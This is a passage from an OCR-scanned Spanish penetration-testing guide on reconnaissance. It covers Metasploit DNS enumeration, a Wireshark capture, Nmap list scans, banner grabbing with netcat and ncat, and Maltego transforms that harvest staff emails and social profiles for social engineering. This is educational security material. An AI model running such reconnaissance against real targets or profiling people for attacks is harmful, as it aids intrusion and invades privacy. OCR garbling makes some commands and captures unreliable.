ENUM_STD true yes Enumerate standard record types (A,MX,NS,TXT and SOA)

ENUM_TLD false yes Perform a top-level domain expansion by replacing TLD and testing
against IANA TLD list

IPRANGE no The target address range or CIDR identifier

NS 192.168.1.25 no Specify the nameserver to use for queries, otherwise use the system DNS

STOP_WLDCRD false yes Stops Brute Force Enumeration if wildcard resolution is detected

WORDLIST /opt/framework3/msf3/data/wordlists/namelist.txt no Wordlist file for domain name brute force.
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El resultado seria el siguiente:

[*¥] Using DNS Server: 192.168.1.25

[*] Retrieving General DNS Records

[*] Domain: debian.org IP Address: 128.31.0.51 Record: A

[*] Domain: debian.org IP Address: 206.12.19.7 Record: A

[*] Start of Authority: orff.debian.org. IP Address: 194.177.211.209 Record: SOA

[*] Name Server: ns4.debian.com. IP Address: 194.177.211.209 Record: NS

[*] Name Server: nsl.debian.org. IP Address: 206.12.19.5 Record: NS

[*] Name Server: ns2.debian.org. IP Address: 128.31.0.51 Record: NS

[*] Name Server: ns3.debian.org. IP Address: 82.195.75.108 Record: NS

[*] Name: master.debian.org. Preference: 0 Record: MX

[*] Enumerating SRV Records for debian.org

[*] SRV Record: _kerberos._tcp.debian.org Host: byrd.debian.org. Port: 88 Priority: O

[*] SRV Record: _kerberos._tcp.debian.org Host: schuetz.debian.org. Port: 88 Priority: O
[*] SRV Record: _kerberos._udp.debian.org Host: schuetz.debian.org. Port: 88 Priority: 0
[*] SRV Record: _kerberos._udp.debian.org Host: byrd.debian.org. Port: 88 Priority: O

e e

La configuracion anterior no tiene activado el brute-force para el descubrimiento de
servidores con nombres habituales asociados a un dominio. Para activarlas Unicamente se
debe fijar:

msf auxiliary(dns_enum) > set ENUM_BRT true

Esto probarA con todas las palabras que existen en el fichero
/opt/framework3/msf3/data/wordlists/namelist.txt (1907 palabras) como siguiente nivel al
dominio que se haya fijado en la variable DOMAIN.

1 2011-06-01 L3F7901 192,168, 213,154 192.168.213.2 DN= Standard query A Q.0 . localdomain. Tacaldomain
2 2011-06-01 . 380150 192.168.213.154 172.16.28.195 DNS Standard query & 0. ° .localdomain

3 2011-06-01 384373 172.16.28.195 192.168.213.154 DNS Standard query rgsgonse, No such name

4 2011-06-01 L 386430 192.168.213.154 192 168.213.2 DNS Standard guery a

5 2011-06-01 387654 192.168,213.2 192.168.213.154 DHS Standard query response, No such name

6 2011-06-01 L387938 192.168.213.154 192 168.213.2 DNS Standard guery Addd O,

7 2011-06-01 . 388726 192.168.213.2 192.168.213.154 DNS Standard query response, No such name

8 2011-06-01 388984 192.168.213.154 192.168.213.2 DNS Standard guery Adss O,

9 2011-06-01 . 389804 192.168.213.2 192.168.213.154 DNS Standard query response, No such name

10 2011-06-01 389928 192.168.213.154 192.168.213.2 DNS Standard guery A 0. °

11 2011-06-01 L 390670 192.168.213.2 192.168.213.154 DNS Standard query response, No such name

12 2011-06-01 391753 192.168.213.154 172.16.28.195 DNS Standard query A Qo

13 2011-06-01 .392594 172.16.28.195 192.168.213.154 DNS Standard query response, No such name

14 2011-06-01 384240 192.168.213.154 192.168.213.2 DNS Standard guery A 01. °

15 2011-06-01 12:08:05.422289 192.168.213.2 192.168.213.154 DHS Standard query response, No such name

16 2011-06-01 12:08:05.422539 192.168.213.154 192.168.213.2 DNS Standard guery Al 3 3 T

17 2011-06-01 12:08:10.422788 192.168.213.154 192.168.213.2 DHS Standard query A O - ) .

18 2011-06-01 12:08:15.424021 192.168.213.154 192.168.213.2 DNS Standard query Asss 01,

18 2011-06-01 12:08:15.425275 192.168.213.2 192.168.213.154 DHS Standard query response, No such name

20 2011-06-01 12:08:15.425416 192.168.213.154 192.168.213.2 DNS Standard query Adss 01, .. localdomain

21 2011-06-01
22 2011-06-01
23 2011-06-01
24 2011-06-01
2011-06-01

645975 192.168.213.2 192.168.213.154 DHS Standard query response, No such name
646401 192.168.213.154 192.168.213.2 DNS Standard query Afss Ol.o. oo e
LB473ITT 192.168.213.2 192.168.213.154 DN= Standard gquery response, No such name
647503 192,168,213.154 192.168.213.2 DNS Standard query Asss 01, s, localdomain
. 643449 .168.213.2 192.168.213.154 DN= Standard gquery response, No such name

z . ) STandard que A UL,
Standard guery response, No such name

649432 182.168.213.2 192.168.213.154 DHS

28 2011-06-01 . B49547 192,168.213.154 192.168.213.2 DHS Standard query A 01. 2. Jocaldomain
29 2011-06-01 LB51242 192.168.213.154 192.168.213.2 DHs Standard guery A 01._.7__ ..l.:.7localdomain

Figura 28: Modulo dns_enum (captura Wireshark)
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La imagen anterior lo que refleja es como se van lanzando varias peticiones DNS
cambi ando el tercer nivel del nombre por el con
encuentra oculto en gris es el dominio introducido en la variable DOMAIN.

4.1.1.4. Nmap List Scan (-sL)

Aunque realmente no se trate de un tipo
especifico de scan el switch TsL permite
llevar a cabo un reverse DNS lookup para
una lista/rango de IPs.

Esto resulta realmente util para localizar y
enumerar nombres de dominio interesantes
(a menos que se especifique la opcién i n)
dentro de grandes bloques de IPs sin
necesidad de enviar ningln paquete a los
mismos.

Figura 29: Nmap List Scan

4.1.2. Banner Grabbing

Se conoce como Banner Grabbing a la técnica utilizada para extraer informacién de los
banners que ofrecen los servicios y que revelan informacién sobre el tipo y version del
software utilizado. Se revisaran diferentes herramientas basicas para poner en practica esta
técnica:

Banner grabing del servicio SSH con Netcat

Ejemplo de cdmo obtener el banner de un rango de puertos:

root @bt : ~# oe-h-aovl 102.168.25454 21-80
(UNKNOWN) [192.168.254.54] 80 (www) open

(UNKNOWN) [192.168.254.54] 22 (ssh) open
SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3

Protocol mismatch.

(UNKNOWN) [192.168.254.54] 21 (ftp) open

220 ProFTPD 1.3.3d Server (Debian) [::ffff:192.168.254.54]

En el momento que se conecta con netcat> el servidor ssh y ftp devuelven el banner. En
este ejemplo se ve como se trata de un sistema GNU/Linux Ubuntu con version de
OpenSSH 5.8pl y con un servidor ProFTPD 1.3.3d (siempre y cuando los banners no se
hayan modificado intencionadamente)

®* Netcat: Cheat Sheet

http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
http://h.ackack.net/cheatsheets/netcat#banner_grabbing
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Banner Grabbing del servicio HTTPS con Ncat

Ncat es la evolucién de netcat y posee una serie de funcionalidades que la hacen mas
sencilla a la hora de utilizarla.

Entre su variedad de caracteristicas, destacan como conectarse a un servicio que funciona
sobre SSL (Secure Socket Layer), como por ejemplo HTTPS, y como interactuar con el
servicio para extraer la version del servidor web asi como sus métodos http soportados:

$> ncat --ssl 192.168.1.45 443
OPTIONS / HTTP/1.1
Host: 192.168.

HTTP/1.1 405 Not Allowed

Server: nginx/0.7.67

Date: Thu, 02 Jun 2011 09:59:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 173

Connection: keep-alive

<html>

<head><title>405 Not Allowed</title></head>
<body bgcolor="white">

<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/0.7.67</center>

</body>

</html>

Al parecer se trata de un servidor web nginx version 0.7.67. Se puede apreciar que no esta
habilitado el método OPTIONS. A continuacion, se lanzard esta misma consulta sobre otro
servidor web donde, ademas de la versién, se observaran los métodos soportados por el
servidor web:

$> ncat --ssl www.dominio.es 443
OPTIONS / HTTP/1.1

Host: www.dominio.es

HTTP/1.1 200 OK

Date: Fri, 24 Jun 2011 13:32:25 GMT

Server: Apache-Coyote/1.1

Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

Connection: close

Content-Type: text/plain; charset=UTF-8
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.
= Membership of the Flickr sociall

o Affiliation - LinkedIn
e Linkedin buj

Membership of the

8 Affiliation - Spock

A social network membership

(7 Affiliation - Twitter
Membership of Twitter

hip of the Bebe social

n - Facebook
hip of the Facebaok s

(5] Affili n - Myspace
Membership of the Myspace sol

H Edge Weighted View " Entity List ‘ i B

Mining View ” Dynamic View

[ Detail View

<no selection>

= Property View »

-<No Properties=

AL

“«

[} Output - Transform Output |

Transform To Geo location returned with 1 entities,

Running transform To Tweets [Search Twitter] on 1 entities,
Transfarm To Tweets [Search Twitter] returned with 1 entities.
Running transform To Website [using Search Enginel on 1 entities,
Transforn To Website [using Search Engine] returned with 12 entities,

Figura 30: Pantalla principal de Maltego

La herramienta Maltego se basa en entidades, que son objetos sobre los que se aplicaran
determinadas acciones que se conocen como transformadas®’.

Estas entidades se dividen en dos categorias. Por un lado, las entidades relacionadas con
las infraestructuras y, por otro, las relacionadas con personas. Las infraestructuras

disponen, por defecto de las siguientes entidades:

% Maltego

http://www.paterva.com/web5/

57

Maltego Transforms

http://www.paterva.com/malv3/303/M3GuideTransforms.pdf
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e Nombre DNS e Registros NS
e Dominio e Bloques de red
e Direccion Ipv4 e URL
e Localizacion e Sitios Web

e Registros MX

Para la parte de personas dispone de las siguientes entidades:

¢ Documentos e [Facebook
e Direccién de correo e Flickr

e Persona o Twitter

e NuUmero de teléfono e Linkedin
e Frase e Myspace
e Bebo e Spock

No hay que olvidar que lo que aporta la herramienta es posible realizarlo mediante otros
medios, y mediante otros Utiles pero con un coste en esfuerzo mas alto. En cambio, con
Maltego es posible hacerlo de una manera mas rapida, flexible y sobretodo centralizada.
Esta centralizacion ofrece la posibilidad de entrelazar y encadenar los resultados, lo que
aporta gran valor en el proceso de recoleccion de informacion de un determinado objetivo.

Por ejemplo, en el caso de que se disponga de un nombre de dominio y se desee realizar un
primer andlisis sobre todo lo relacionado con él. A partir de ese nombre de dominio mediante
uno de los juegos de transformaciones que se centran en el correo electrénico, se obtendran
direcciones de correo electrénico relacionadas con el dominio, cuentas en servidores PGP,
informacion del dominio a partir del
servicio Whois, etc. Esto dard una
idea de personas, cuentas,
genéricas, etc. También permite, o
sobre ese mismo dominio buscar
documentos, registros MX, registros
DNS, relacionados con  esos
dominios. Sobre los resultados que
se muestran en forma de arbol es

posible volver a aplicar nuevas
transformadas, como por ejemplo
analizar los metadatos de los e N
documentos.

Figura 31: Listado de correos de una organizacion
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Para ejemplificar el potencial de la herramienta, se partird de una direccibn de correo
electrénico y se verd cédmo, por medio de transformadas, es posible obtener diferentes
cuentas de correo relacionadas con esa direccion inicial.

A partir de cada cuenta, se obtendran los nombres de las personas y, a partir de éstas, se
conseguiran cuentas de correo relacionadas que puedan encontrarse en servidores PGP.

Muchas de las redes sociales mas difundidas hoy en dia utilizan como usuario la cuenta de
correo electronico. Por lo tanto, a partir de las cuentas de correo electrénico de un usuario y
de su nombre se puede utilizar las entidades de redes sociales para obtener mas
informacion de esa persona teniendo como objetivo principal un ataque de ingenieria social
lo mas efectivo posible.

La herramienta, ademas, permite la creacion de entidades y transformadas propias
haciéndola muy escalable. Un ejemplo de esta escalabilidad y flexibilidad lo proporcina el
buscador Shodan (http://www.shodanhg.com/), el cual dispone de una entidad con ese
mismo nombre que admite una serie de transformadas:

U searchShodan

U searchExploitDB

U getHostProfile

U searchShodanDomain
U searchShodanNetblock

Estas transformadas permiten interactuar con este buscador desde la herramienta,
enrigueciendo el andlisis con Maltego.

A continuacion, se muestra un ejemplo del proceso de investigacion de una determinada
infraestructura. Suponiendo que Unicamente se conoce el nombre de dominio, se le aplicara
la siguiente secuencia de transformadas:

e DNS from Domain > Other transforms > Domain using MX (mail server): Con
esta transformada se pueden obtener los servidores MX asociados con el dominio.

e DNS from Domain > Other transforms > Domain using NS i (name server): Esta
transformada obtiene los servidores de nombres del dominio.
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Figura 33: Representacion gréfica, registros MXy NS

e Sobre cada uno de los servidores obtenidos (MX,NS)

U Se ejecuta el conjunto entero: Resolve to IP.

e Sobre la direccion IP de los servidores

U Resolveto IP > IP owner detail

0000000 000 © O

Il Person [ NS Record

[] Domain

= MX Record
M Location Email Address [ IPv4 Address

Figura 34: Representacion grafica, nombres, IPs, y e-mails
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Figura 35: Nombres, IPs, y e-mails

Rapidamente se encuentra personal asociado al objetivo, asi como direcciones de correo
electronico que serian posibles objetivos de un ataque de ingenieria social.

Ahora, pueden aplicarse las siguientes transformadas sobre los hosts, ofrenciéndo mas
informacién adicional:

e Other transforms > To website where IP appear: Con esta transformada se busca
en los principales buscadores de sitios donde aparece esta direccion IP.

Esto puede ser de utilidad dado que, en ocasiones, estas direcciones pueden haber
estado en listas negras de spam, malware, etcétera.

e Other transforms > getHostProfile: Esta transformada dara informacion sobre el
perfil del host.

e Sobre los servidores de nombres (NS) se ejecutara:

o Info from DNS > To domains [sharing this DNS]: Esta opcién proporciona los
dominios que comparten este servidor DNS relacionado con el dominio obijetivo.
Esta es quizas una de las opciones a nivel de infraestructura mas interesantes
porque puede ofrecer objetivos indirectos relacionados con el objetivo.
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e Sobre los servidores de correo (MX) se ejecutan:

o0 Other transforms > To domains [Sharing this MX]: Esta opcién proporciona
dominios que comparten este servidor de correo relacionado con el dominio
objetivo. Esta es quizas una de las opciones a nivel de infraestructura mas
interesantes porque puede ofrecer objetivos indirectos.

1
maill.i
&/ &/ &/ a/
e ap. m administracio
| 2 ,I‘ :

&/ &/ &/ a/ - =
fp.] | (=== a inap.i ‘ = .‘
&/
— [ NS Record [ MX Record ] Damain

Figura 36: Dominios con el mismo servidor MX Figura 37: Representacién Grafica, mismo servidor MX

1
s
dns2.r
(a/ /
mpt.y, inap.
(a/ a/
administracio I ()}

-_—

Figura 38: Dominios que comparten el mismo servidor NS
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Si se realiza la busqueda de dominios que utilizan los servidores DNS y MX del objetivo
seria posible realizar un mapa en forma de arbol como el que se muestra a continuaciéon. En
€l se observa claramente la infraestructura que soportan asi como la lista de dominios que
comparten los servidores DNS y MX que son objeto de la investigacion:

Figura 39: Dominios en los servidores NSy MXi Vision global

Figura 40: Dominios en los servidores NSy MX i Vision global (Representacion gréfica)
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